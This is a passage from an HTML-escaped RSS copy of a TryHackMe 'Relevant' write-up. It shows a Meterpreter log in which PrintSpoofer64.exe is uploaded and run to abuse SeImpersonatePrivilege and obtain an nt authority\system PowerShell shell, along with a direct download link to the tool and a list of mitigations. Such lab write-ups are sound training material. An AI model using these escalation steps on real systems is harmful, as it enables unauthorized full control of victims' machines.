&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Completed&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Process&lt;/span> &lt;span class="mi">3240&lt;/span> &lt;span class="n">created&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Channel&lt;/span> &lt;span class="mi">3&lt;/span> &lt;span class="n">created&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">Version&lt;/span> &lt;span class="mf">10.0.14393&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="mi">2016&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Corporation&lt;/span>&lt;span class="p">.&lt;/span> &lt;span class="n">All&lt;/span> &lt;span class="n">rights&lt;/span> &lt;span class="n">reserved&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">inetpub&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">wwwroot&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">nt4wrksv&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">powershell.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">.&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">powershell.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Found&lt;/span> &lt;span class="n">privilege&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">SeImpersonatePrivilege&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Named&lt;/span> &lt;span class="n">pipe&lt;/span> &lt;span class="n">listening&lt;/span>&lt;span class="p">...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">CreateProcessAsUser&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="n">OK&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Windows&lt;/span> &lt;span class="n">PowerShell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Copyright&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">C&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="mi">2016&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Corporation&lt;/span>&lt;span class="p">.&lt;/span> &lt;span class="n">All&lt;/span> &lt;span class="n">rights&lt;/span> &lt;span class="n">reserved&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PS&lt;/span> &lt;span class="n">C&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Windows&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">system32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">whoami&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">whoami&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">nt&lt;/span> &lt;span class="n">authority&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">system&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So as you can see, I have now taken over the machine 🎉&lt;/p>
&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>
&lt;p>&lt;strong>Disable Unnecessary Services(like port 49663)&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Regularly review and disable any services that are not required. This reduces the attack surface and potential entry points for attackers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Least Privilege Principle&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Apply the principle of least privilege to all user accounts and services. Users and services should only have the minimum level of access necessary to perform their tasks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Strong Authentication Mechanisms(in this case for smb)&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Use strong, complex passwords and consider implementing multi-factor authentication (MFA) to add an extra layer of security to user accounts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="specific-mitigations">Specific Mitigations
&lt;/h2>&lt;ol>
&lt;li>
&lt;p>&lt;strong>Restrict SMB Access&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Disable anonymous access to SMB shares. Configure SMB shares to require authentication and only allow access to authorized users.&lt;/li>
&lt;li>Apply strict permissions to SMB shares, ensuring that only necessary users have write access.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Secure HTTP Access&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Ensure that HTTP services are properly secured. If file uploads are required, implement strict controls to validate and sanitize uploaded files to prevent the upload of malicious files such as reverse shells.&lt;/li>
&lt;li>Use secure coding practices to prevent vulnerabilities such as arbitrary file upload and remote code execution.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Restrict Privileges&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Regularly review and restrict the assignment of high-privilege accounts such as those with &lt;code>SeImpersonatePrivilege&lt;/code>. Only assign such privileges to accounts that absolutely require them.&lt;/li>
&lt;li>Use Group Policy to enforce restrictions on privilege assignments and regularly audit these policies.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Implement Endpoint Protection&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Deploy endpoint protection solutions that can detect and block common attack techniques, such as reverse shells and privilege escalation tools like PrintSpoofer.&lt;/li>
&lt;li>Regularly update endpoint protection signatures and configurations to ensure they can detect the latest threats.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Harden Print Spooler Service&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Regularly audit and review the security of the Print Spooler service. Disable the Print Spooler service on systems where it is not required.&lt;/li>
&lt;li>Apply patches and updates related to the Print Spooler service to address known vulnerabilities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Application Whitelisting&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Implement application whitelisting to control which executables are allowed to run on the system. This can prevent unauthorized tools and scripts from executing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Isolate and Monitor High-Privilege Accounts&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Isolate high-privilege accounts and monitor their usage closely. Implement additional security controls such as MFA and session logging for these accounts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>Overall, this was an easy box actually which required a lot of patience 😅. Exploitation after finding that exposed folder on port 49663 is easy. Rest all scripts and tools are available online to use.&lt;/p>
&lt;!-- - **Summary:** Brief summary of the entire process.
- **Lessons Learned:** Key lessons learned from the exploitation process.
- **Additional Notes:** Any additional notes or thoughts on the machine. -->
&lt;h2 id="references">References
&lt;/h2>&lt;ul>
&lt;li>&lt;a class="link" href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer" target="_blank" rel="noopener"
>https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" target="_blank" rel="noopener"
>https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe&lt;/a>&lt;/li>
&lt;/ul></description></item></channel></rss>